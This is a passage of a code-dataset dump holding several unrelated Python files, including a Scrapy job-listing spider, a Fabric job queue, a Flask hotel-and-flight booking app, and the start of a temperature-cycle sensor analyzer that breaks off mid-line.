re.compile(r\"/wp-content/uploads/(?P\\d+)/(?P\\d+)\")\n\n\ndef parse_image_date(image_url: str) -> Tuple[str, str]:\n match = pattern.search(image_url)\n year = match.group(\"year\")\n month = match.group(\"month\")\n return (year, month)\n\n\ndef create_name(year, month, title):\n title_name = re.sub(r\"\\W+\", \"-\", title).lower()\n return \"{}-{}-01-{}\".format(year, month, title_name)\n\n\ndef export_posts(shows):\n posts = []\n for show in shows:\n logger.info(\"processing %s\", show[\"title\"])\n year, month = parse_image_date(show[\"image_urls\"][0])\n name = create_name(year, month, show[\"title\"])\n descriptons = [d.replace(\"\\n\", \" - \") for d in show[\"descriptions\"]]\n local_image_paths = download_show_images(name, show)\n image_urls = convert_image_paths(local_image_paths)\n images = zip(descriptons, image_urls)\n save_post(\n \"{}.markdown\".format(name),\n {\n \"name\": name,\n \"title\": show[\"title\"],\n \"description\": descriptons[0],\n \"cover_image\": image_urls[0],\n \"images_folder\": os.path.commonpath(image_urls),\n },\n )\n\n\ndef main():\n shows = load_shows()\n export_posts(shows)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"320975338","text":"import re\nfrom datetime import datetime as dt\nfrom urlparse import urljoin, urlsplit\n\nfrom scrapy.exceptions import DropItem\nfrom scrapy.http import Request, FormRequest\nfrom scrapy.selector import XmlXPathSelector\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\n\nclass Allianz(ATSSpider):\n \"\"\" Crawler for Allianz based on `ATSSpider`\n\n scrapy crawl allianz \\\n -a url=\"https://www.allianz.com/en/careers/job_search/global-job-search.html#\\!c2146b15b-9fdd-4ccb-bd93-066f4936dd6c\" \\\n -a mining_job=9999 \\\n -a iterator=1 \\\n -a extract=1\n \n scrapes the following sites:\n https://www.allianz.com/en/careers/job_search/global-job-search.html#!c2146b15b-9fdd-4ccb-bd93-066f4936dd6c\n \n \"\"\"\n\n name = 'allianz'\n\n def start_requests(self):\n \"\"\" Grab data mappings resource to identify location, contract type, \n and job category. \"\"\"\n\n mappings_url = \"https://jobs.allianz.com/sap/bc/srt/rfc/sap/zercuix_get_customization/100/zercuix_get_customization/zercuix_get_customization_na\"\n mappings_query = \"\"\"\n \n \n \n \n \n \"\"\"\n\n return [Request(mappings_url,\n method='POST',\n body=mappings_query,\n headers={'Content-Type': 'text/xml'}\n )]\n\n def parse(self, response):\n \"\"\" Get XML resource containing job listings. \"\"\"\n\n self.location_map = {}\n self.jobtype_map = {}\n self.jobcategory_map = {}\n\n xxs = XmlXPathSelector(response)\n for item in xxs.xpath(\"//EtLocations/item\"):\n location_id = item.xpath(\"Location/text()\").extract()[0]\n location_name = item.xpath(\"Description/text()\").extract()[0]\n \n location_parent = item.xpath(\"Parent/text()\").extract()[0]\n if location_parent != '0':\n location_name += \", \" + self.location_map[location_parent]\n \n self.location_map[location_id] = location_name\n\n for item in xxs.xpath(\"//EtEmploymentTypes/item\"):\n jobtype_id = item.xpath(\"EmplTypeId/text()\").extract()[0]\n jobtype_name = item.xpath(\"EmplTypeDescr/text()\").extract()[0]\n self.jobtype_map[jobtype_id] = jobtype_name\n\n for item in xxs.xpath(\"//EtFunctionalAreas/item\"):\n jobcategory_id = item.xpath(\"FunctAreaId/text()\").extract()[0]\n jobcategory_name = item.xpath(\"FunctAreaDescription/text()\").extract()[0]\n self.jobcategory_map[jobcategory_id] = jobcategory_name\n\n self.joblist_url = \"https://jobs.allianz.com/sap/bc/srt/rfc/sap/zercuix_search_ext/100/zercuix_search_ext/zercuix_search_ext_na\"\n \n self.joblist_query = \"\"\"\n \n \n \n \n \n \n \n \"\"\"\n\n self.jobdetails_query = \"\"\"\n \n \n \n %(PinstGuid)s\n \n \n \n \"\"\"\n\n yield Request(self.joblist_url,\n method='POST',\n body=self.joblist_query,\n headers={'Content-Type': 'text/xml'},\n callback=self.parse_joblist\n )\n\n\n def parse_joblist(self, response):\n \"\"\" Parse job listings recursively. \"\"\"\n\n self.set_meta_language(response)\n\n xxs = XmlXPathSelector(response)\n\n jobs = xxs.xpath(\"//EtHitlist/item\")\n for job in jobs:\n pinst_guid = job.xpath('PinstGuid/text()').extract()\n soap_query = self.jobdetails_query % {'PinstGuid': pinst_guid[0]}\n\n request = Request(self.joblist_url, \n method='POST',\n body=soap_query,\n headers={'Content-Type': 'text/xml'},\n callback=self.parse_job_callback())\n \n yield request\n\n def parse_job(self, response):\n \"\"\" Scrape job details and returns all the fields found. \"\"\"\n\n error = self.validate_parse_job(response)\n if error: raise DropItem(error)\n\n xxs = XmlXPathSelector(response)\n loader = BrightcorpItemLoader()\n\n loader.add_value('url', self.get_url(xxs))\n loader.add_value('date', self.get_date(xxs))\n loader.add_value('referencenumber', \n \"%s-%s\" % (self.name, self.get_refno(xxs)))\n\n loader.add_value('title', self.get_title(xxs))\n loader.add_value('company', self.get_company(xxs))\n loader.add_value('location', self.get_location(xxs))\n loader.add_value('description', self.get_description(xxs))\n loader.add_value('jobtype', self.get_jobtype(xxs))\n loader.add_value('jobcategory', self.get_jobcategory(xxs))\n\n return loader.load_item()\n\n def get_refno(self, selector):\n \"\"\" Extract the job reference number from the page. Fall back to using\n the URL if it cannot be found on the page. \"\"\"\n\n referencenumber = selector.xpath(\"//RefCode/text()\")\n if referencenumber: return referencenumber.extract()[0]\n\n def get_url(self, selector):\n \"\"\" Extract URL from details page. \"\"\"\n\n url = selector.xpath(\"//JobDetailsUrl/text()\")\n if url: return urljoin(selector.response.url, url.extract()[0])\n \n return \"\"\n\n def get_title(self, selector):\n \"\"\" Extract the job title from the page. \"\"\"\n \n title = selector.xpath(\"//Title/text()\")\n if title: return title.extract()\n\n return \"\"\n\n def get_company(self, selector):\n \"\"\" Extract the company name from the page. Hard-code the name based on\n the URL if it cannot be found on the page. \"\"\"\n\n company = selector.xpath(\"//CompanyTxt/text()\")\n if company: return company.extract()\n\n return \"\"\n\n def get_location(self, selector):\n \"\"\" Extract the job location or workplace from the page. \"\"\"\n\n location_id = selector.xpath(\"//Location/text()\")\n if location_id: \n return self.location_map.get(location_id.extract()[0])\n\n return \"\"\n\n def get_date(self, selector):\n \"\"\" Extract the date when the job ad is posted. Default to the\n current `datetime` if cannot be found. \"\"\"\n\n # field not found\n\n return str(dt.now())\n\n def get_description(self, selector):\n \"\"\" Extract the raw HTML description from the page. \"\"\"\n\n description = selector.xpath(\"//ProjectDesc/text()\")\n if len(description) > 1: return ''.join(description.extract())\n if description: return description.extract()\n\n return \"\"\n\n def get_jobtype(self, selector):\n \"\"\" Extract the job type or contract from the page. \"\"\"\n\n jobtype_id = selector.xpath(\"//EmploymentType/text()\").extract()\n if int(jobtype_id[0]): \n return self.jobtype_map.get(jobtype_id[0])\n\n return \"\"\n\n def get_jobcategory(self, selector):\n \"\"\" Extract the category or nature of the job from the page. \"\"\"\n\n jobcategory_id = selector.xpath(\"//FunctionalArea/text()\").extract()\n if int(jobcategory_id[0]):\n return self.jobcategory_map.get(jobcategory_id[0])\n\n return \"\"\n\n def set_custom_item(self, response):\n \"\"\" Load values that cannot be scraped from job pages for\n raw extraction `-a extract=0` \"\"\"\n\n xxs = XmlXPathSelector(response)\n\n self.loader.add_value('referencenumber', \n \"%s-%s\" % (self.name, self.get_refno(xxs)))\n\n def validate_parse_job(self, response):\n \"\"\" Ensure that there are details to be scraped from the page. \"\"\"\n\n xxs = XmlXPathSelector(response)\n if not self.get_refno(xxs):\n return \"Job reference number missing.\"\n\n errors = [\n \"An exception occurred in the SAP E-Recruiting application\",\n \"No suitable entry was found in a Customizing table\",\n \"Processing error\"\n ]\n\n for error in errors:\n if error in response.body:\n return error\n\n return \"\"","sub_path":"brightcorp/brightcorp/spiders/allianz.py","file_name":"allianz.py","file_ext":"py","file_size_in_byte":9446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"290522734","text":"import json\nimport os\nimport sys\n\nclass awscontext(object):\n def __init__(self,ctx_file=None, ctx_version=\"2.0\", verbose = False):\n self.verbose = verbose\n self.ctx_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),\n \"awscontext.json\")\n if self.verbose:\n print(\">>>awscontext: ctx file is: \" + self.ctx_file)\n if ctx_file != None:\n self.ctx_file = ctx_file\n # open the json ctx file\n with open(self.ctx_file) as cfh:\n ctxinfo = json.load(cfh)\n # check version\n key = \"version\"\n if key in ctxinfo:\n if ctxinfo[key] != ctx_version:\n print(\"Error: version of : \" + self.ctx_file + \" should be \" + ctx_version +\n \" not \" + ctxinfo[key])\n sys.exit(2)\n else:\n print(\"Error: \" + key + \" key not found in \" + self.ctx_file)\n sys.exit(2)\n # get the contexts\n key = \"context\"\n if key in ctxinfo:\n self.contexts = ctxinfo[key]\n self.ctxnames = self.contexts.keys()\n else:\n print(\"Error: \" + key + \" key not found in \" + self.ctx_file)\n sys.exit(2)\n if self.verbose:\n for key,value in self.contexts.iteritems():\n print( \"\\t>>>awscontext: key: \" + key + \" value: \" + str(value))\n # create list of profiles and bucket names\n self.profile_names = []\n self.bucket_names = []\n for ctxname,ctxdict in self.contexts.iteritems():\n if self.verbose:\n print( \"\\t>>>awscontext: key: \" + ctxname + \" value: \" + str(ctxdict))\n for key,value in ctxdict.iteritems():\n if key == \"s3bucket\":\n self.bucket_names.append(value)\n elif key == \"profile\":\n self.profile_names.append(value)\n\n def getctxnames(self):\n return self.ctxnames\n def getprofilenames(self):\n return self.profile_names\n def getbucketnames(self):\n return self.bucket_names\n def getctx(self, name_a):\n ctx = None\n if name_a in self.ctxnames:\n ctx = self.contexts[name_a]\n return ctx\n def getdefaultctx(self):\n key = 'default`'\n if key not in self.ctxnames:\n print(\"Error: \" + key + \" key not found in \" + self.ctx_file)\n sys.exit(2)\n return self.contexts[key]\n def getbucketname(self, name_a):\n bn = None\n if name_a in self.ctxnames:\n bn = self.contexts[name_a]['s3bucket']\n return bn\n def getprofile(self, name_a):\n profile = None\n if name_a in self.ctxnames:\n profile = self.contexts[name_a]['profile']\n return profile\n","sub_path":"awscontext.py","file_name":"awscontext.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"385020386","text":"import parameter\nfrom parameter import pprint\n\n\nclass actuator:\n def __init__(self, pin, dc=0, freq=1000):\n if parameter.emulate:\n pprint(\"createt actuator at pin \" + str(pin))\n\n else:\n import pigpio\n global pi\n pi = pigpio.pi()\n #pi = pigpio.pi('soft',8888)\n\n self.GPIO = pin\n pi.set_mode(self.GPIO, pigpio.OUTPUT)\n pi.set_PWM_frequency(self.GPIO, freq)\n pi.set_PWM_dutycycle(self.GPIO, dc)\n self.prevDC = 0\n\n def setdc(self, dc):\n self.prevDC = dc\n dc = int(max(min(dc, 255.0), 0.0))\n if parameter.emulate:\n pprint(\"dutycycle set to \" + str(dc))\n\n else:\n pi.set_PWM_dutycycle(self.GPIO, dc)\n #print(\"SET ACTUATOR VAL: \", dc)\n \n def getdc(self):\n return self.prevDC\n","sub_path":"controling/actuator.py","file_name":"actuator.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"83134452","text":"\"\"\"\nSliding-window-based job/task queue class (& example of use.)\n\nMay use ``multiprocessing.Process`` or ``threading.Thread`` objects as queue\nitems, though within Fabric itself only ``Process`` objects are used/supported.\n\"\"\"\n\nfrom __future__ import with_statement\nimport time\nimport Queue\n\nfrom collections import deque\n\nfrom progressbar import Bar, ETA, Percentage, ProgressBar, SimpleProgress\n\nfrom fabric.network import ssh\n\n\nclass JobQueue(object):\n \"\"\"\n The goal of this class is to make a queue of processes to run, and go\n through them running X number at any given time.\n\n So if the bubble is 5 start with 5 running and move the bubble of running\n procs along the queue looking something like this:\n\n Start\n ...........................\n [~~~~~]....................\n ___[~~~~~].................\n _________[~~~~~]...........\n __________________[~~~~~]..\n ____________________[~~~~~]\n ___________________________\n End\n \"\"\"\n def __init__(self, max_running, comms_queue, role_limits=None, debug=False):\n \"\"\"\n Setup the class to resonable defaults.\n \"\"\"\n self._max = max_running\n self._comms_queue = comms_queue\n self._debug = debug\n\n if role_limits is None:\n role_limits = {}\n role_limits.setdefault('default', self._max)\n\n self._pools = {}\n for role, limit in role_limits.iteritems():\n self._pools[role] = {\n 'running': [],\n 'queue': deque(),\n 'limit': limit,\n }\n\n self._completed = []\n self._num_of_jobs = 0\n self._finished = False\n self._closed = False\n\n widgets = ['Running tasks: ', Percentage(), ' ', Bar(), ' ', SimpleProgress(), ETA()]\n self.pbar = ProgressBar(widgets=widgets)\n\n def __len__(self):\n \"\"\"\n Just going to use number of jobs as the JobQueue length.\n \"\"\"\n return self._num_of_jobs\n\n def close(self):\n \"\"\"\n A sanity check, so that the need to care about new jobs being added in\n the last throws of the job_queue's run are negated.\n \"\"\"\n if self._debug:\n print(\"JOB QUEUE: closed\")\n\n self._closed = True\n\n def append(self, process):\n \"\"\"\n Add the Process() to the queue, so that later it can be checked up on.\n That is if the JobQueue is still open.\n\n If the queue is closed, this will just silently do nothing.\n\n To get data back out of this process, give ``process`` access to a\n ``multiprocessing.Queue`` object, and give it here as ``queue``. Then\n ``JobQueue.run`` will include the queue's contents in its return value.\n \"\"\"\n if not self._closed:\n r = process.name.split('|')[0]\n role = r if r in self._pools else 'default'\n\n self._pools[role]['queue'].appendleft(process)\n\n self._num_of_jobs += 1\n\n self.pbar.maxval = self._num_of_jobs\n\n if self._debug:\n print(\"JOB QUEUE: %s: added %s\" % (role, process.name))\n\n def run(self):\n \"\"\"\n This is the workhorse. It will take the intial jobs from the _queue,\n start them, add them to _running, and then go into the main running\n loop.\n\n This loop will check for done procs, if found, move them out of\n _running into _completed. It also checks for a _running queue with open\n spots, which it will then fill as discovered.\n\n To end the loop, there have to be no running procs, and no more procs\n to be run in the queue.\n\n This function returns an iterable of all its children's exit codes.\n \"\"\"\n if not self._closed:\n raise Exception(\"Need to close() before starting.\")\n\n if self._debug:\n print(\"JOB QUEUE: starting\")\n\n def _consume_result(comms_queue, results, ignore_empty=False):\n \"\"\"\n Helper function to attempt to get results from the comms queue\n and put them into the results dict\n \"\"\"\n try:\n datum = self._comms_queue.get_nowait()\n except Queue.Empty:\n if not ignore_empty:\n raise\n else:\n results[datum['name']]['result'] = datum['result']\n\n\n results = {}\n\n self.pbar.start()\n\n while len(self._completed) < self._num_of_jobs:\n for pool_name, pool in self._pools.iteritems():\n while len(pool['queue']) and len(pool['running']) < pool['limit']:\n job = pool['queue'].pop()\n if self._debug:\n print(\"JOB QUEUE: %s: %s: start\" % (pool_name, job.name))\n job.start()\n pool['running'].append(job)\n\n # job.name contains role so split that off and discard\n host_string = job.name.split('|')[-1]\n # Place holder for when the job finishes\n results[host_string] = {\n 'exit_code': None,\n 'result': None\n }\n\n for i, job in enumerate(pool['running']):\n if not job.is_alive():\n if self._debug:\n print(\"JOB QUEUE: %s: %s: finish\" % (pool_name, job.name))\n\n job.join() # not necessary for Process but is for Thread\n self._completed.append(job)\n pool['running'].pop(i)\n\n host_string = job.name.split('|')[-1]\n results[host_string]['exit_code'] = job.exitcode\n\n # Let's consume a result so the queue doesn't get big\n _consume_result(self._comms_queue, results, True)\n\n if self._debug:\n print(\"JOB QUEUE: %s: %d running jobs\" % (pool_name, len(pool['running'])))\n\n if len(pool['queue']) == 0:\n print(\"JOB QUEUE: %s: depleted\" % pool_name)\n\n # Allow some context switching\n time.sleep(ssh.io_sleep)\n\n self.pbar.update(len(self._completed))\n\n # Make sure to drain the comms queue since all jobs are completed\n while True:\n try:\n _consume_result(self._comms_queue, results)\n except Queue.Empty:\n break\n\n self.pbar.finish()\n\n return results\n\n\n#### Sample\n\ndef try_using(parallel_type):\n \"\"\"\n This will run the queue through it's paces, and show a simple way of using\n the job queue.\n \"\"\"\n\n def print_number(number):\n \"\"\"\n Simple function to give a simple task to execute.\n \"\"\"\n print(number)\n\n if parallel_type == \"multiprocessing\":\n from multiprocessing import Process as Bucket # noqa\n\n elif parallel_type == \"threading\":\n from threading import Thread as Bucket # noqa\n\n # Make a job_queue with a bubble of len 5, and have it print verbosely\n jobs = JobQueue(5)\n jobs._debug = True\n\n # Add 20 procs onto the stack\n for x in range(20):\n jobs.append(Bucket(\n target=print_number,\n args=[x],\n kwargs={},\n ))\n\n # Close up the queue and then start it's execution\n jobs.close()\n jobs.run()\n\n\nif __name__ == '__main__':\n try_using(\"multiprocessing\")\n try_using(\"threading\")\n","sub_path":"fabric/job_queue.py","file_name":"job_queue.py","file_ext":"py","file_size_in_byte":7582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"268019690","text":"from datetime import date\nfrom flask import Flask, session, redirect, url_for, request, render_template, abort, flash\nfrom functools import wraps\n\nfrom db import get_flights, get_hotels, get_hotel, get_rooms\nimport utils\n\napp = Flask(__name__)\napp.secret_key = b'dklsdjf@#423f8_#942;3['\n\n### General views ###\n\n@app.route('/')\ndef home():\n\tsession_username = session.get('username')\n\n\treturn render_template('index.html', username=session_username)\n\n@app.errorhandler(404)\ndef page_not_found(e):\n\tusername = session.get('username')\n\treturn render_template('404.html', username=username), 404\n\n@app.after_request\ndef add_header(r):\n\t\"\"\"\n\tAdd headers to both force latest IE rendering engine or Chrome Frame,\n\tand also to cache the rendered page for 10 minutes.\n\t\"\"\"\n\tr.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n\tr.headers[\"Pragma\"] = \"no-cache\"\n\tr.headers[\"Expires\"] = \"0\"\n\tr.headers['Cache-Control'] = 'public, max-age=0'\n\treturn r\n\ndef login_required(f):\n\t@wraps(f)\n\tdef decorated_function(*args, **kwargs):\n\t\tsession_username = \tsession.get('username')\n\t\tif session_username is None:\n\t\t\treturn redirect(url_for('login', next=request.url))\n\t\treturn f(*args, **kwargs)\n\treturn decorated_function\n\t\n\n### Auth views ###\n\n@app.route('/logout')\ndef logout():\n\tsession.pop('username', None)\n\treturn redirect(url_for('home'))\n\n\n@app.route('/login', methods=[\"GET\", \"POST\"])\ndef login():\n\terror = None\n\tsession_username = \tsession.get('username')\n\n\tif session_username is not None:\n\t\terror = \"please logout first\"\n\telif request.method == \"POST\":\n\t\tusername = request.form.get(\"username\", \"\")\n\t\tpassword = request.form.get(\"password\", \"\")\n\t\tnext_url = request.form.get(\"next\")\n\t\ttry:\n\t\t\tutils.login_user(username, password)\n\t\t\tsession['username'] = username\n\t\t\tif next_url:\n\t\t\t\treturn redirect(next_url)\n\t\t\treturn redirect(url_for('home'))\n\t\texcept ValueError as err:\n\t\t\terror = err\n\n\tif error:\n\t\tflash(error, 'error')\n\t\n\treturn render_template('login.html', username=session_username)\n\n\n@app.route('/register', methods=[\"GET\", \"POST\"])\ndef register():\n\terror = None\n\tsession_username = session.get('username')\n\n\tif session_username is not None:\n\t\terror = \"please logout first\"\n\telif request.method == \"POST\":\n\t\tusername = request.form.get(\"username\", None)\n\t\tpassword = request.form.get(\"password\", None)\n\t\tnational_id = request.form.get(\"national_id\", None)\n\t\tname = request.form.get(\"name\", None)\n\t\taddress\t= request.form.get(\"address\", None)\n\t\tphone = request.form.get(\"phone\", None)\n\t\temail = request.form.get(\"email\", None)\n\t\ttry:\n\t\t\terror = utils.register_customer({\n\t\t\t\t'username':username,\n\t\t\t\t'password':password,\n\t\t\t\t'national_id':national_id,\n\t\t\t\t'name':name,\n\t\t\t\t'address':address,\n\t\t\t\t'phone':phone,\n\t\t\t\t'email':email\n\t\t\t\t})\n\n\t\t\tif not error:\n\t\t\t\tsession['username'] = username\n\t\t\t\treturn redirect(url_for('home'))\n\t\texcept ValueError as err:\n\t\t\terror = err\n\tif error:\n\t\tflash(error, 'error')\n\n\treturn render_template('register.html', username=session_username)\n\n\n### Hotel views ###\n\n\n@app.route('/hotels', methods=[\"GET\"])\ndef hotels():\n\tcountry_name = request.args.get('country_name', '')\n\tcity_name = request.args.get('city_name', '')\n\tname = request.args.get('name', '')\n\n\thotels = get_hotels(country=country_name, city=city_name, name=name)\n\tsession_username = session.get('username')\n\n\treturn render_template('hotels.html', hotels=hotels, username=session_username)\n\n@app.route('/hotels/', methods=[\"GET\", \"POST\"])\ndef hotel(id):\n\tsession_username = session.get('username')\n\n\tbooking_id = request.args.get('booking_id', -1)\n\trate=False\n\tif booking_id != -1:\n\t\trate = True\n\terror = None\n\tif request.method == \"POST\":\n\t\trating = request.form.get(\"rating\", None)\n\t\ttry:\n\t\t\terror = utils.add_rating(\n\t\t\t\tusername=session_username,\n\t\t\t\trating=rating,\n\t\t\t\thotel_id=id,\n\t\t\t\tbooking_id=booking_id\n\t\t\t)\n\n\t\t\tif not error:\n\t\t\t\tflash('Your rating was submitted!', 'success')\n\t\texcept ValueError as err:\n\t\t\terror = err\n\n\t\tif error:\n\t\t\tflash(error, 'error')\n\n\n\thotel = get_hotel(id)\n\tif not hotel:\n\t\tabort(404)\n\trooms = get_rooms(id)\n\treturn render_template('hotel_info.html', hotel=hotel, rooms=rooms, rate=rate, username=session_username)\n\n\n@app.route('/hotels//room/', methods=[\"GET\", \"POST\"])\n@login_required\ndef reserve_room(hotel_id, room_number):\n\tsession_username = session.get('username')\n\t\n\terror = None\n\tif request.method == \"POST\":\n\t\tpassword = request.form.get(\"password\", None)\n\t\tfrom_date = request.form.get(\"from_date\", None)\n\t\tto_date = request.form.get(\"to_date\", None)\n\t\ttry:\n\t\t\terror = utils.reserve_room(\n\t\t\t\tusername=session_username, \n\t\t\t\tpassword=password,\n\t\t\t\tfrom_date=from_date,\n\t\t\t\tto_date=to_date,\n\t\t\t\thotel_id=hotel_id,\n\t\t\t\troom_number=room_number\n\t\t\t)\n\n\t\t\tif not error:\n\t\t\t\tflash('Room reserved successfully!', 'success')\n\t\t\t\treturn redirect(url_for('my_bookings'))\n\t\texcept ValueError as err:\n\t\t\terror = err\n\t\t\n\tif error:\n\t\tflash(error, 'error')\n\t\n\treturn render_template('reserve_room.html', username=session_username)\n\n\n\n### Flight views ###\n\n@app.route('/flights', methods=[\"GET\"])\ndef flights():\n\n\torigin_country = request.args.get('origin_country', '')\n\tdestination_city = request.args.get('destination_city', '')\n\torigin_city = request.args.get('origin_city', '')\n\tdestination_country = request.args.get('destination_country', '')\n\tdeparture_date = request.args.get('departure_date', '')\n\n\tflights = get_flights(origin_country=origin_country, destination_city=destination_city, origin_city=origin_city,\n\t destination_country=destination_country, departure_date=departure_date)\n\t \n\tsession_username = session.get('username')\n\n\treturn render_template('flights.html', flights=flights, username=session_username)\n\n\n@app.route('/flights//', methods=[\"GET\", \"POST\"])\n@login_required\ndef reserve_flight(airline_id, number):\n\tsession_username = session.get('username')\n\t\n\terror = None\n\tif request.method == \"POST\":\n\t\tpassword = request.form.get(\"password\", None)\n\t\ttry:\n\t\t\terror = utils.reserve_flight(\n\t\t\t\tusername=session_username, \n\t\t\t\tpassword=password,\n\t\t\t\tairline_id=airline_id,\n\t\t\t\tflight_number=number\n\t\t\t)\n\n\t\t\tif not error:\n\t\t\t\tflash('Flight reserved successfully!', 'success')\n\t\t\t\treturn redirect(url_for('my_bookings'))\n\n\t\texcept ValueError as err:\n\t\t\terror = err\n\n\tif error:\n\t\tflash(error, 'error')\n\n\treturn render_template('reserve_flight.html', username=session_username)\n\n\n### Booking for users view ###\n\n@app.route('/bookings', methods=['GET'])\n@login_required\ndef my_bookings():\n\tsession_username = session.get('username')\n\n\tbookings = utils.get_customer_booking(session_username)\n\n\tfor booking in bookings:\n\t\tif date.today() >= booking['from_date']:\n\t\t\tbooking['started'] = True\n\t\tif date.today() >= booking['to_date']:\n\t\t\tbooking['ended'] = True\n\n\treturn render_template('bookings.html', bookings=bookings, username=session_username)\n\n\n@app.route('/payment/', methods=['GET', 'POST'])\n@login_required\ndef payment(booking_id):\n\tsession_username = session.get('username')\n\tbooking = utils.get_customer_booking(session_username, booking_id)[0]\n\n\terror = None\n\tif request.method == \"POST\":\n\t\ttry:\n\t\t\tpassword = request.form.get(\"password\", None)\n\t\t\tdiscount_code = request.form.get(\"discount\", None)\n\t\t\terror = utils.handle_payment(session_username, password, discount_code ,booking)\n\n\t\t\tif not error:\n\t\t\t\tflash('Reservation completed succesfully!', 'success')\n\t\t\t\treturn redirect(url_for('my_bookings'))\n\n\t\texcept ValueError as err:\n\t\t\terror = err\n\n\tif error:\n\t\tflash(error, 'error')\n\t\n\treturn render_template('payment.html', booking=booking, username=session_username)\n\n\n@app.route('/cancel/', methods=['GET', 'POST'])\n@login_required\ndef cancel(booking_id):\n\tsession_username = session.get('username')\n\tbooking = utils.get_customer_booking(session_username, booking_id)[0]\n\n\terror = None\n\ttry:\n\t\terror = utils.handle_cancel(session_username ,booking)\n\n\t\tif not error:\n\t\t\tflash('Reservation cancelled succesfully!', 'success')\n\t\t\treturn redirect(url_for('my_bookings'))\n\n\texcept ValueError as err:\n\t\terror = err\n\n\tif error:\n\t\tflash(error, 'error')\n\n\treturn redirect(url_for('my_bookings'))\n\t\n","sub_path":"flitel/flitel.py","file_name":"flitel.py","file_ext":"py","file_size_in_byte":8160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"447935901","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 14 09:44:10 2021\r\n\r\n@author: eden\r\n\"\"\"\r\n\r\ndef TcyclesAnalyzer2(filename,dataTcycuploaded):\r\n #%%Import libs\r\n #import external libs\r\n # import pandas as pd\r\n import matplotlib.pyplot as plt\r\n from matplotlib.widgets import Cursor\r\n import numpy as np\r\n from sklearn.cluster import KMeans\r\n #from sklearn.preprocessing import StandardScaler\r\n from sklearn.neighbors import LocalOutlierFactor\r\n import statistics\r\n from scipy.signal import find_peaks\r\n import math\r\n import re\r\n import shutil\r\n import time\r\n from scipy.signal import decimate\r\n from mpl_toolkits.axes_grid1 import host_subplot\r\n from copy import deepcopy\r\n \r\n # import PL own function from path\r\n import os\r\n #os.chdir('W:\\Operation\\Production\\Production_tools_environment\\PTE')\r\n from FourPointIndex import FourPointCalc\r\n from math_oper import smooth\r\n from stdout_sup import suppress_stdout_stderr\r\n #%% Load data\r\n devNameInd = filename.find('L1')\r\n deviceName = filename[devNameInd:devNameInd+14]\r\n # dataTcyc = pd.read_table(os.path.join(filepath, filename),header=None)\r\n dataTcyc = dataTcycuploaded\r\n #%% output inits (from main - temporary)\r\n temps = dict(High1=85,High2=85,Low=-40) #[C]\r\n temps = dict(High1=75,High2=75,Low=-54) #[C]\r\n external_Tsensor = dict(sensitivity=0.008,offset = 66)# [V/C] ; [C]\r\n external_poly = dict(SFp=[0,0,0,0,0,13],Bp = [0,0,0,0,0,0],MAp = [0,0,0,0,0,0])\r\n\r\n\r\n #%% init\r\n \r\n decimation_factor = 30\r\n f_sample = 5 #Hz\r\n poly_rank = 5 # polynomial rank\r\n \r\n if re.search(\"cyc_L\",filename):\r\n cycle1 = 1\r\n label = 'cyc1_'\r\n if re.search(\"cyc_2_L\",filename):\r\n cycle1 = 0\r\n label = 'cyc2_'\r\n \r\n # loc_sep = [m.start() for m in re.finditer('/', filename)]\r\n # directoy_path = filename[:loc_sep[-1]]\r\n if not os.path.exists(os.path.join (os.path.expanduser (\"~\"), \"Desktop\",\"Analyzed_Tcyc\")):\r\n Analyzed_folder_path =os.path.join (os.path.expanduser (\"~\"), \"Desktop\",\"Analyzed_Tcyc\")\r\n os.mkdir(Analyzed_folder_path)\r\n directoy_path = os.path.join (Analyzed_folder_path,deviceName)\r\n if not os.path.exists(directoy_path):\r\n os.mkdir(directoy_path) \r\n if cycle1:\r\n Folder_path = [directoy_path+'/Tcycle1_'+deviceName+'_py'] #'_py' for comparison purpose only\r\n else:\r\n Folder_path = [directoy_path+'/Tcycle2_'+deviceName+'_py'] #'_py' for comparison purpose only\r\n if os.path.exists(Folder_path[0]): # delete existing folder\r\n shutil.rmtree(Folder_path[0])\r\n \r\n os.mkdir(Folder_path[0])\r\n os.chdir(directoy_path)\r\n\r\n \r\n #%% preprocess data\r\n \r\n dataTcyc = dataTcyc.iloc[:,:2].values\r\n \r\n if 1: # trim beginning of Tcycle (clear junk data at turn ON)\r\n tempeVdiff = np.gradient(dataTcyc[:1000,1])\r\n tempeVtrim=np.where(abs(tempeVdiff)>0.004)\r\n \r\n if (tempeVtrim[0].size > 0):\r\n dataTcyc = dataTcyc[tempeVtrim[0][-1]+1:,:] # clear junk data\r\n \r\n #Tsensor_resolution = max(abs((np.gradient(dataTcyc[:1000,1]))))\r\n \r\n\r\n\r\n #%% Tcycle test analyzer\r\n \"\"\"\"\"\r\n Tcycle test analyzer - this part will check whether its cont/steps, number of 4p, orientation and \r\n finds the start to end points of each 4p measurements.\r\n input: dataTcyc - Temp cycle data(acc,temp)\r\n outputs:\r\n startEnd4p - list of starting and ending indexes of each 4point\r\n indexesOf4Ps - all the indexes of the same clustered 4p\r\n \"\"\"\"\"\r\n #dataFrameTcyc = pd.DataFrame(data=dataTcyc, columns=[\"acc\", \"temp\"])\r\n\r\n cont = False\r\n if('cont' in filename):\r\n cont = True\r\n \r\n delta = 10\r\n Neg4p = np.where(dataTcyc[:,0]<0.8*np.min(dataTcyc[:,0]))[0]#finds indexes of the -1g areas for all 4p\r\n \r\n #filtering outliers:\r\n clf = LocalOutlierFactor(n_neighbors=10)\r\n Neg4pOutLiers= clf.fit_predict(Neg4p.reshape(-1, 1))\r\n Neg4p = 